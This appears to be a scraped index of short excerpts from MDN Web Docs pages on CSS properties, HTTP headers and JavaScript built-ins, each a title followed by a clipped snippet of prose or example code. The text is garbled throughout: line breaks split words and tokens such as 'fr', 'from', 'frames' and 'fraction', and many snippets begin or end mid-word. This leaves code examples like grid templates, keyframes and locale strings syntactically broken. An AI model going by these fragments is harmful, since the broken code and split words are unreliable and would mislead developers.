<display-inside> - CSS: Cascading Style Sheets
these keywords are used as values of the display property, and can be used for legacy purposes as a single keyword, or as defined in the level 3 specification alongside a value
from the <display-outside> keywords.
<display-outside> - CSS: Cascading Style Sheets
these keywords are used as values of the display property, and can be used for legacy purposes as a single keyword, or as defined in the level 3 specification alongside a value
from the <display-inside> keywords.
env() - CSS: Cascading Style Sheets
ng them with fallback values */ env(safe-area-inset-top, 20px); env(safe-area-inset-right, 1em); env(safe-area-inset-bottom, 0.5vh); env(safe-area-inset-left, 1.4rem); values safe-area-inset-top, safe-area-inset-right, safe-area-inset-bottom, safe-area-inset-left the safe-area-inset-* variables are four environment variables that define a rectangle by its top, right, bottom, and left insets
from the edge of the viewport, which is safe to put content into without risking it being cut off by the shape of a non‑rectangular display.
fit-content() - CSS: Cascading Style Sheets
</div> <div>flexible item</div> </div> css #container { display: grid; grid-template-columns: fit-content(300px) fit-content(300px) 1
fr; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css box sizing module level 3the definition of 'fit-content()' in that specification.
flex-direction - CSS: Cascading Style Sheets
if its dir attribute is ltr, row represents the horizontal axis oriented
from the left to the right, and row-reverse
from the right to the left; if the dir attribute is rtl, row represents the axis oriented
from the right to the left, and row-reverse
from the left to the right.
flex-wrap - CSS: Cascading Style Sheets
syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen
from the list of values below.
font-feature-settings - CSS: Cascading Style Sheets
examples enabling various font features /* use small-cap alternate glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate
from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical forms */ .hist { font-feature-settings: "hist"; } /* disable common ligatures, usually on by default */ .noligs { font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic
fractions */ .
fractions { font-feature-settings: "
frac"; } /*...
font-optical-sizing - CSS: Cascading Style Sheets
you should see a difference in supporting browsers.</p> @font-face { src: url('amstelvaralpha-vf.ttf'); font-family:'amstelvar'; font-style: normal; } p { font-size: 36px; font-family: amstelvar; } .no-optical-sizing { font-optical-sizing: none; } note: the font referenced above — which includes optical sizing and is
freely-licensed — is good for testing.
font - CSS: Cascading Style Sheets
; for (var i = 0; i < oradio.length; i++) { if(oradio[i].checked) { var propinput = "input_" + radio_name, curelemname = "input_" + radio_name, curelem = document.getelementbyid(curelemname); curelem.value = oradio[i].value; return oradio[i].value; } } } setcss = function () { getproperties(); injectcss(shorttext); } injectcss = function(css
fragment) { old = document.body.getelementsbytagname("style"); if (old.length > 1) { old[1].parentelement.removechild(old[1]); } css = document.createelement("style"); css.innerhtml = ".fontshorthand{font: " + css
fragment + "}"; document.body.appendchild(css); } setcss(); specifications specification status comment css fonts module level 3the definit...
gap (grid-gap) - CSS: Cascading Style Sheets
{ border: 1px solid green; background-color: lime; flex: 1 1 auto; width: 100px; height: 50px; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #grid { grid-gap: 20px 5px; } #grid { display: grid; height: 200px; grid-template: repeat(3, 1
fr) / repeat(3, 1
fr); gap: 20px 5px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css <code>gap</code> property.
grid-auto-flow - CSS: Cascading Style Sheets
"item4"></div> <div id="item5"></div> </div> <select id="direction" onchange="changegridautoflow()"> <option value="column">column</option> <option value="row">row</option> </select> <input id="dense" type="checkbox" onchange="changegridautoflow()"> <label for="dense">dense</label> css #grid { height: 200px; width: 200px; display: grid; grid-gap: 10px; grid-template: repeat(4, 1
fr) / repeat(2, 1
fr); grid-auto-flow: column; /* or 'row', 'row dense', 'column dense' */ } #item1 { background-color: lime; grid-row-start: 3; } #item2 { background-color: yellow; } #item3 { background-color: blue; } #item4 { grid-column-start: 2; background-color: red; } #item5 { background-color: aqua; } function changegridautoflow() { var grid = document.getelementbyid("...
grid - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: grid-auto-columns grid-auto-flow grid-auto-rows grid-template-areas grid-template-columns grid-template-rows syntax /* <'grid-template'> values */ grid: none; grid: "a" 100px "b" 1
fr; grid: [linename1] "a" 100px [linename2]; grid: "a" 200px "b" min-content; grid: "a" minmax(100px, max-content) "b" 20%; grid: 100px / 200px; grid: minmax(400px, min-content) / repeat(auto-fill, 50px); /* <'grid-template-rows'> / [ auto-flow && dense?
image-rendering - CSS: Cascading Style Sheets
note: the values optimizequality and optimizespeed present in an early draft (and coming
from its svg counterpart image-rendering) are defined as synonyms for the smooth and pixelated values respectively.
ime-mode - CSS: Cascading Style Sheets
<input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to prevent extended characters
from passing through your form.
line-height - CSS: Cascading Style Sheets
</div> <!-- the first <h1> line-height is calculated
from its own font-size (30px × 1.1) = 33px --> <!-- the second <h1> line-height results
from the red div's font-size (15px × 1.1) = 16.5px, probably not what you want --> css .green { line-height: 1.1; border: solid limegreen; } .red { line-height: 1.1em; border: solid red; } h1 { font-size: 30px; } .box { width: 18em; display: inline-block; vertical-align: top; font-si...
mask-border-repeat - CSS: Cascading Style Sheets
syntax /* keyword value */ mask-border-repeat: stretch; mask-border-repeat: repeat; mask-border-repeat: round; mask-border-repeat: space; /* vertical | horizontal */ mask-border-repeat: round stretch; /* global values */ mask-border-repeat: inherit; mask-border-repeat: initial; mask-border-repeat: unset; the mask-border-repeat property may be specified using one or two values chosen
from the list of values below.
mask-border-width - CSS: Cascading Style Sheets
width: 3; /* vertical | horizontal */ mask-border-width: 2em 3em; /* top | horizontal | bottom */ mask-border-width: 5% 15% 10%; /* top | right | bottom | left */ mask-border-width: 5% 2em 10% auto; /* global values */ mask-border-width: inherit; mask-border-width: initial; mask-border-width: unset; the mask-border-width property may be specified using one, two, three, or four values chosen
from the list of values below.
mask-position - CSS: Cascading Style Sheets
formal definition initial valuecenterapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrefer to size of mask painting area minus size of mask layer image (see the text for background-position)computed valueconsists of two keywords representing the origin and two offsets
from that origin, each given as an absolute length (if given a <length>), otherwise as a percentage.animation typerepeatable list of simple list of length, percentage, or calc formal syntax <position>#where <position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]?
mask-size - CSS: Cascading Style Sheets
if mask-size has one auto component and one non-auto component: if the image has an intrinsic proportion, then render it using the specified dimension and compute the other dimension
from the specified dimension and the intrinsic proportion.
offset-position - CSS: Cascading Style Sheets
h-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples setting initial offset position <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); offset-position: left top; animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @key
frames move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } specifications specification status comment motion path module level 1the definition of 'offset-position' in that specification.
offset-rotate - CSS: Cascading Style Sheets
width: 40px; height: 40px; background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @key
frames move { 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-rotate' in that specification.
offset - CSS: Cascading Style Sheets
examples animating an element along a path html <div id="offsetelement"></div> css @key
frames move {
from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px; background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in t...
scroll-margin-bottom - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-bottom: 10px; scroll-margin-bottom: 1em; /* global values */ scroll-margin-bottom: inherit; scroll-margin-bottom: initial; scroll-margin-bottom: unset; values <length> an outset
from the bottom edge of the scroll container.
scroll-margin-inline-end - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-inline-end: 10px; scroll-margin-inline-end: 1em; /* global values */ scroll-margin-inline-end: inherit; scroll-margin-inline-end: initial; scroll-margin-inline-end: unset; values <length> an outset
from the inline end edge of the scroll container.
scroll-margin-inline-start - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-inline-start: 10px; scroll-margin-inline-start: 1em; /* global values */ scroll-margin-inline-start: inherit; scroll-margin-inline-start: initial; scroll-margin-inline-start: unset; values <length> an outset
from the inline start edge of the scroll container.
scroll-margin-inline - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-margin-inline-end scroll-margin-inline-start syntax /* <length> values */ scroll-margin-inline: 10px; scroll-margin-inline: 1em .5em ; /* global values */ scroll-margin-inline: inherit; scroll-margin-inline: initial; scroll-margin-inline: unset; values <length> an outset
from the corresponding edge of the scroll container.
scroll-margin-left - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-left: 10px; scroll-margin-left: 1em; /* global values */ scroll-margin-left: inherit; scroll-margin-left: initial; scroll-margin-left: unset; values <length> an outset
from the left edge of the scroll container.
scroll-margin-right - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-right: 10px; scroll-margin-right: 1em; /* global values */ scroll-margin-right: inherit; scroll-margin-right: initial; scroll-margin-right: unset; values <length> an outset
from the right edge of the scroll container.
scroll-margin-top - CSS: Cascading Style Sheets
syntax /* <length> values */ scroll-margin-top: 10px; scroll-margin-top: 1em; /* global values */ scroll-margin-top: inherit; scroll-margin-top: initial; scroll-margin-top: unset; values <length> an outset
from the top edge of the scroll container.
scroll-margin - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-margin-bottom scroll-margin-left scroll-margin-right scroll-margin-top syntax /* <length> values */ scroll-margin: 10px; scroll-margin: 1em .5em 1em 1em; /* global values */ scroll-margin: inherit; scroll-margin: initial; scroll-margin: unset; values <length> an outset
from the corresponding edge of the scroll container.
scroll-padding-block-end - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-block-end: auto; /* <length> values */ scroll-padding-block-end: 10px; scroll-padding-block-end: 1em; scroll-padding-block-end: 10%; /* global values */ scroll-padding-block-end: inherit; scroll-padding-block-end: initial; scroll-padding-block-end: unset; values <length-percentage> an inwards offset
from the block end edge of the scrollport, as a valid length or a percentage.
scroll-padding-block-start - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-block-start: auto; /* <length> values */ scroll-padding-block-start: 10px; scroll-padding-block-start: 1em; scroll-padding-block-start: 10%; /* global values */ scroll-padding-block-start: inherit; scroll-padding-block-start: initial; scroll-padding-block-start: unset; values <length-percentage> an inwards offset
from the block start edge of the scrollport, as a valid length or a percentage.
scroll-padding-block - CSS: Cascading Style Sheets
properties: scroll-padding-block-end scroll-padding-block-start syntax /* keyword values */ scroll-padding-block: auto; /* <length> values */ scroll-padding-block: 10px; scroll-padding-block: 1em .5em; scroll-padding-block: 10%; /* global values */ scroll-padding-block: inherit; scroll-padding-block: initial; scroll-padding-block: unset; values <length-percentage> an inwards offset
from the corresponding edge of the scrollport, as a valid length or a percentage.
scroll-padding-bottom - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-bottom: auto; /* <length> values */ scroll-padding-bottom: 10px; scroll-padding-bottom: 1em; scroll-padding-bottom: 10%; /* global values */ scroll-padding-bottom: inherit; scroll-padding-bottom: initial; scroll-padding-bottom: unset; values <length-percentage> an inwards offset
from the bottom edge of the scrollport, as a valid length or a percentage.
scroll-padding-inline-end - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-inline-end: auto; /* <length> values */ scroll-padding-inline-end: 10px; scroll-padding-inline-end: 1em; scroll-padding-inline-end: 10%; /* global values */ scroll-padding-inline-end: inherit; scroll-padding-inline-end: initial; scroll-padding-inline-end: unset; values <length-percentage> an inwards offset
from the inline end edge of the scrollport, as a valid length or a percentage.
scroll-padding-inline-start - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-inline-start: auto; /* <length> values */ scroll-padding-inline-start: 10px; scroll-padding-inline-start: 1em; scroll-padding-inline-start: 10%; /* global values */ scroll-padding-inline-start: inherit; scroll-padding-inline-start: initial; scroll-padding-inline-start: unset; values <length-percentage> an inwards offset
from the inline start edge of the scrollport, as a valid length or a percentage.
scroll-padding-inline - CSS: Cascading Style Sheets
s: scroll-padding-inline-end scroll-padding-inline-start syntax /* keyword values */ scroll-padding-inline: auto; /* <length> values */ scroll-padding-inline: 10px; scroll-padding-inline: 1em .5em; scroll-padding-inline: 10%; /* global values */ scroll-padding-inline: inherit; scroll-padding-inline: initial; scroll-padding-inline: unset; values <length-percentage> an inwards offset
from the corresponding edge of the scrollport, as a valid length or a percentage.
text-orientation - CSS: Cascading Style Sheets
syntax /* keyword values */ text-orientation: mixed; text-orientation: upright; text-orientation: sideways-right; text-orientation: sideways; text-orientation: use-glyph-orientation; /* global values */ text-orientation: inherit; text-orientation: initial; text-orientation: unset; the text-orientation property is specified as a single keyword
from the list below.
text-rendering - CSS: Cascading Style Sheets
in svg, when text is scaled up or down, browsers calculate the final size of the text (which is determined by the specified font size and the applied scale) and request a font of that computed size
from the platform's font system.
text-size-adjust - CSS: Cascading Style Sheets
/* keyword values */ text-size-adjust: none; text-size-adjust: auto; /* <percentage> value */ text-size-adjust: 80%; /* global values */ text-size-adjust: inherit; text-size-adjust: initial; text-size-adjust: unset; because many websites have not been developed with small devices in mind, mobile browsers differ
from desktop browsers in the way they render web pages.
transform-box - CSS: Cascading Style Sheets
ttom: 0; left: 0; } #box{ transform-origin:50% 50%; /*+++++++++++++++++++++++++++*/ /* if i remove this rule the pen won't work properly on chrome for mac, ff, safari will still work properly on chrome for pc & opera*/ transform-box: fill-box; /*alternatively i can use transform-origin:15px 15px;*/ /*+++++++++++++++++++++++++++*/ animation: rotatebox 3s linear infinite; } @key
frames rotatebox { to { transform: rotate(360deg); } full credit for this example goes to pogany; see this codepen for a live version.
skew() - CSS: Cascading Style Sheets
the coordinates of each point are modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther
from the origin a point is, the greater will be the value added it.
skewX() - CSS: Cascading Style Sheets
the abscissa coordinate of each point is modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther
from the origin a point is, the greater will be the value added it.
skewY() - CSS: Cascading Style Sheets
the ordinate coordinate of each point is modified by a value proportionate to the specified angle and the distance to the origin; thus, the farther
from the origin a point is, the greater will be the value added it.
transition-duration - CSS: Cascading Style Sheets
syntax /* <time> values */ transition-duration: 6s; transition-duration: 120ms; transition-duration: 1s, 15s; transition-duration: 10s, 30s, 230ms; /* global values */ transition-duration: inherit; transition-duration: initial; transition-duration: unset; values <time> is a <time> denoting the amount of time the transition
from the old value of a property to the new value should take.
white-space - CSS: Cascading Style Sheets
syntax /* keyword values */ white-space: normal; white-space: nowrap; white-space: pre; white-space: pre-wrap; white-space: pre-line; white-space: break-spaces; /* global values */ white-space: inherit; white-space: initial; white-space: unset; the white-space property is specified as a single keyword chosen
from the list of values below.
Demos of open web technologies
js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio showcase (source code) html5 audio visualizer (source code) graphical filter editor and visualizer (source code) file api slide my text - presentation
from plain text files web workers web worker
fractals photo editor coral generator raytracer hotcold touch typing ...
exsl:node-set() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes exsl:node-set() returns a node-set
from a result tree
fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value.
Accept-Charset - HTTP
if the server cannot serve any character encoding
from this request header, it can theoretically send back a 406 not acceptable error code.
Accept-Ranges - HTTP
in presence of an accept-ranges header, the browser may try to resume an interrupted download, rather than to start it
from the start again.
Age - HTTP
if it is age: 0, it was probably just fetched
from the origin server; otherwise it is usually calculated as a difference between the proxy's current date and the date general header included in the http response.
Clear-Site-Data - HTTP
you can achieve that by adding the clear-site-data header when sending the page confirming that logging out
from the site has been accomplished successfully (https://example.com/logout, for example): clear-site-data: "cache", "cookies", "storage", "executioncontexts" clearing cookies if this header is delivered with the response at https://example.com/clear-cookies, all cookies on the same domain https://example.com and any subdomains (like https://stage.example.com, etc), will be cleared out.
Content-Disposition - HTTP
t makes use of the content-disposition header: post /test.html http/1.1 host: example.org content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7578 returning values
from forms: multipart/form-data rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) rfc 2183 communicating presentation information in internet messages: the content-disposition header field ...
Content-Location - HTTP
examples requesting data
from a server in different formats let's say a site's api can return data in json, xml, or csv formats.
CSP: trusted-types - HTTP
this directive declares a white-list of trusted type policy names created with trustedtypes.createpolicy
from trusted types api.
CSP: upgrade-insecure-requests - HTTP
syntax content-security-policy: upgrade-insecure-requests; examples // header content-security-policy: upgrade-insecure-requests; // meta tag <meta http-equiv="content-security-policy" content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate
from http to https, non-navigational insecure resource requests are automatically upgraded (first-party as well as third-party requests).
DNT - HTTP
examples reading do not track status
from javascript the user's dnt preference can also be read
from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
DPR - HTTP
server has to opt in to receive dpr header
from the client by sending accept-ch and accept-ch-lifetime response headers.
Date - HTTP
er names in the fetch spec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "
fri", "sat", or "sun" (case-sensitive).
Device-Memory - HTTP
server has to opt in to receive device-memory header
from the client by sending accept-ch and accept-ch-lifetime response headers.
Expect-CT - HTTP
the expect-ct header lets sites opt in to reporting and/or enforcement of certificate transparency requirements, to prevent the use of misissued certificates for that site
from going unnoticed.
If-Match - HTTP
there are two common use cases: for get and head methods, used in combination with a range header, it can guarantee that the new ranges requested comes
from the same resource than the previous one.
If-Modified-Since - HTTP
header type request header forbidden header name no syntax if-modified-since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "
fri", "sat", or "sun" (case-sensitive).
Last-Modified - HTTP
header type response header forbidden header name no cors-safelisted response header yes syntax last-modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "
fri", "sat", or "sun" (case-sensitive).
NEL - HTTP
header type response header forbidden header name no syntax nel: { "report_to": "name_of_reporting_group", "max_age": 12345, "include_subdomains": false, "success_
fraction": 0.0, "failure_
fraction": 1.0 } specifications specification network error logging ...
Origin - HTTP
the origin request header indicates where a fetch originates
from.
Public-Key-Pins - HTTP
the http public-key-pins response header used to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates, however, it has been removed
from modern browsers and is no longer supported.
Range - HTTP
examples requesting three ranges
from the file.
Sec-Fetch-Site - HTTP
der forbidden header name yes, since it has prefix sec- cors-safelisted response header cors-safelisted request header syntax sec-fetch-site: cross-site sec-fetch-site: same-origin sec-fetch-site: same-site sec-fetch-site: none values cross-site same-origin same-site none this request does not relate to any context like site, origin, or
frame.
Sec-WebSocket-Accept - HTTP
that is, this is header is sent
from server to client to inform that server is willing to initiate a websocket connection.
Set-Cookie2 - HTTP
the obsolete set-cookie2 http response header used to send cookies
from the server to the user agent, but has been deprecated by the specification.
Tk - HTTP
the origin server is unable or unwilling to respect a tracking preference received
from the requesting user agent.
Trailer - HTTP
these header fields are disallowed: message
framing headers (e.g., transfer-encoding and content-length), routing headers (e.g., host), request modifiers (e.g., controls and conditionals, like cache-control, max-forwards, or te), authentication headers (e.g., authorization or set-cookie), or content-encoding, content-type, content-range, and trailer itself.
Upgrade - HTTP
for example, it can be used by a client to upgrade a connection
from http 1.1 to http 2.0, or an http or https connection into a websocket.
Via - HTTP
examples via: 1.1 vegur via: http/1.1 gwa via: 1.0
fred, 1.1 p.example.net specifications specification title rfc 7230, section 5.7.1: via hypertext transfer protocol (http/1.1): message syntax and routing ...
X-Forwarded-For - HTTP
x-forwarded-for is also an email-header indicating that an email-message was forwarded
from another account.
X-Forwarded-Host - HTTP
host names and ports of reverse proxies (load balancers, cdns) may differ
from the origin server handling the request, in that case the x-forwarded-host header is useful to determine which host was originally used.
RangeError: precision is out of range - JavaScript
message rangeerror: the number of
fractional digits is out of range (edge) rangeerror: the precision is out of range (edge) rangeerror: precision {0} out of range (firefox) rangeerror: toexponential() argument must be between 0 and 20 (chrome) rangeerror: tofixed() digits argument must be between 0 and 20 (chrome) rangeerror: toprecision() argument must be between 1 and 21 (chrome) error type rangeerror what went wrong?
InternalError: too much recursion - JavaScript
get name(){ return this.name; // recursive call } to avoid this problem, make sure that the property being assigned to inside the setter function is different
from the one that initially triggered the setter.the same goes for the getter.
Default parameters - JavaScript
this means that functions and variables declared in the function body cannot be referred to
from default value parameter initializers; attempting to do so throws a run-time referenceerror.
getter - JavaScript
on getting the property, the property is removed
from the object and re-added, but implicitly as a data property this time.
Array.prototype.concat() - JavaScript
the concat method does not alter this or any of the arrays provided as arguments but instead returns a shallow copy that contains copies of the same elements combined
from the original arrays.
Array.prototype.fill() - JavaScript
the fill() method changes all elements in an array to a static value,
from a start index (default 0) to an end index (default array.length).
Array.prototype.find() - JavaScript
examples find an object in an array by one of its properties const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; function ischerries(
fruit) { return
fruit.name === 'cherries'; } console.log(inventory.find(ischerries)); // { name: 'cherries', quantity: 5 } using arrow function and destructuring const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; const result = inventory.find( ({ name }) => name === 'cherries' ); console.log(result) // { name: 'cherries'...
Array.prototype.findIndex() - JavaScript
function isprime(num) { for (let i = 2; num > i; i++) { if (num % i == 0) { return false; } } return num > 1; } console.log([4, 6, 8, 9, 12].findindex(isprime)); // -1, not found console.log([4, 6, 7, 9, 12].findindex(isprime)); // 2 (array[2] is 7) find index using arrow function the following example finds the index of a
fruit using an arrow function: const
fruits = ["apple", "banana", "cantaloupe", "blueberries", "grape
fruit"]; const index =
fruits.findindex(
fruit =>
fruit === "blueberries"); console.log(index); // 3 console.log(
fruits[index]); // blueberries specifications specification ecmascript (ecma-262)the definition of 'array.prototype.findindex' in that specification.
Array.prototype.flat() - JavaScript
, infinity); // [1, 2, 3, 4, 5, 6] use a stack // non recursive flatten deep using a stack // note that depth control is hard/inefficient as we will need to tag each value with its own depth // also possible w/o reversing on shift/unshift, but array ops on the end tends to be faster function flatten(input) { const stack = [...input]; const res = []; while(stack.length) { // pop value
from stack const next = stack.pop(); if(array.isarray(next)) { // push back array items, won't modify the original input stack.push(...next); } else { res.push(next); } } // reverse to restore input order return res.reverse(); } const arr = [1, 2, [3, 4, [5, 6]]]; flatten(arr); // [1, 2, 3, 4, 5, 6] use generator function function* flatten(array, depth) { ...
Array.prototype.push() - JavaScript
let sports = ['soccer', 'baseball'] let total = sports.push('football', 'swimming') console.log(sports) // ['soccer', 'baseball', 'football', 'swimming'] console.log(total) // 4 merging two arrays this example uses apply() to push all elements
from a second array.
Intl.DisplayNames.prototype.of() - JavaScript
examples using the of method let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('
fr'); // "
french" let currencynames = new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.displaynamesthe definition of 'of()' in that specification.
Intl.Locale.prototype.baseName - JavaScript
examples basic example let myloc = new intl.locale("
fr-latn-ca"); // sets locale to canadian
french console.log(myloc.tostring()); // prints out "
fr-latn-ca-u-ca-gregory" console.log(myloc.basename); // prints out "
fr-latn-ca" example with options in the input string // sets language to japanese, region to japan, // calendar to gregorian, hour cycle to 24 hours let japan = new intl.locale("ja-jp-u-ca-gregory-hc-24"); console.log(japan.tostring());...
Intl.Locale.prototype.caseFirst - JavaScript
let casefirststr = new intl.locale("
fr-latn-
fr-u-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.Locale.prototype.hourCycle - JavaScript
let
fr24hour = new intl.locale("
fr-
fr-u-hc-h23"); console.log(
fr24hour.hourcycle); // prints "h23" adding an hour cycle via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types.
Intl.Locale.prototype.numberingSystem - JavaScript
let numberingsystemviastr = new intl.locale("
fr-latn-
fr-u-nu-mong"); console.log(numberingsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.Locale.prototype.numeric - JavaScript
let numericviastr = new intl.locale("
fr-latn-
fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.Locale.prototype.script - JavaScript
let scriptobj = new intl.locale("
fr-
fr", {script: "latn"}); console.log(scriptobj.script); // prints "latn" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.toString() - JavaScript
examples using tostring let mylocale = new intl.locale("
fr-latn-
fr", {hourcycle: "h24", calendar: "gregory"}); console.log(mylocale.basename); // prints "
fr-latn-
fr" console.log(mylocale.tostring()); // prints "
fr-latn-
fr-u-ca-gregory-hc-h24" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.getCanonicalLocales() - JavaScript
examples using getcanonicallocales intl.getcanonicallocales('en-us'); // ["en-us"] intl.getcanonicallocales(['en-us', '
fr']); // ["en-us", "
fr"] intl.getcanonicallocales('en_us'); // rangeerror:'en_us' is not a structurally valid language tag specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.getcanonicallocales' in that specification.
Math.SQRT1_2 - JavaScript
the math.sqrt1_2 property represents the square root of 1/2 which is approximately 0.707: math.sqrt1_2=12=12≈0.707\mathtt{\mi{math.sqrt1_2}} = \sqrt{\
frac{1}{2}} = \
frac{1}{\sqrt{2}} \approx 0.707 the source for this interactive example is stored in a github repository.
Math.atanh() - JavaScript
polyfill for |x|<1\left|x\right| < 1, we have artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \
frac{1}{2}\ln \left( \
frac{1 + x}{1 - x} \right) so this can be emulated by the following function: math.atanh = math.atanh || function(x) { return math.log((1+x)/(1-x)) / 2; }; examples using math.atanh() math.atanh(-2); // nan math.atanh(-1); // -infinity math.atanh(0); // 0 math.atanh(0.5); // 0.5493061443340548 math.atanh(1); // infinity math.atanh(2); // nan for values greater ...
Math.clz32() - JavaScript
thus, inversing the bits will inverse the measured quantity of 0's (
from math.clz32), thereby making math.clz32 count the number of ones instead of counting the number of zeros.
Math.cosh() - JavaScript
the math.cosh() function returns the hyperbolic cosine of a number, that can be expressed using the constant e: math.cosh(x)=ex+e-x2\mathtt{\operatorname{math.cosh(x)}} = \
frac{e^x + e^{-x}}{2} the source for this interactive example is stored in a github repository.
Math.sign() - JavaScript
-1 : 0 ) // if x is negative, then negative one // || // if x is 0, -0, or nan, or not a number, // +x // then the result will be x, (or) if x is // // not a number, then x converts to number }; } in the above polyfill, no extra type-coercing is needed to make (x > 0) or (x < 0) numbers because subtracting them
from each other forces a type conversion
from booleans to numbers.
Math.sinh() - JavaScript
the math.sinh() function returns the hyperbolic sine of a number, that can be expressed using the constant e: math.sinh(x)=ex-e-x2\mathtt{\operatorname{math.sinh(x)}} = \
frac{e^x - e^{-x}}{2} the source for this interactive example is stored in a github repository.
Math.tanh() - JavaScript
the math.tanh() function returns the hyperbolic tangent of a number, that is tanhx=sinhxcoshx=ex-e-xex+e-x=e2x-1e2x+1\tanh x = \
frac{\sinh x}{\cosh x} = \
frac {e^x - e^{-x}} {e^x + e^{-x}} = \
frac{e^{2x} - 1}{e^{2x}+1} syntax math.tanh(x) parameters x a number.
Number.prototype.toLocaleString() - JavaScript
n doesn't use a minor unit console.log(number.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' })) // → ¥123,457 // limit to three significant digits console.log(number.tolocalestring('en-in', { maximumsignificantdigits: 3 })); // → 1,23,000 // use the host default language with options for number formatting var num = 30000.65; console.log(num.tolocalestring(undefined, {minimum
fractiondigits: 2, maximum
fractiondigits: 2})); // → "30,000.65" where english is the default language, or // → "30.000,65" where german is the default language, or // → "30 000,65" where
french is the default language specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tolocalestring' in that specification.
Object.defineProperties() - JavaScript
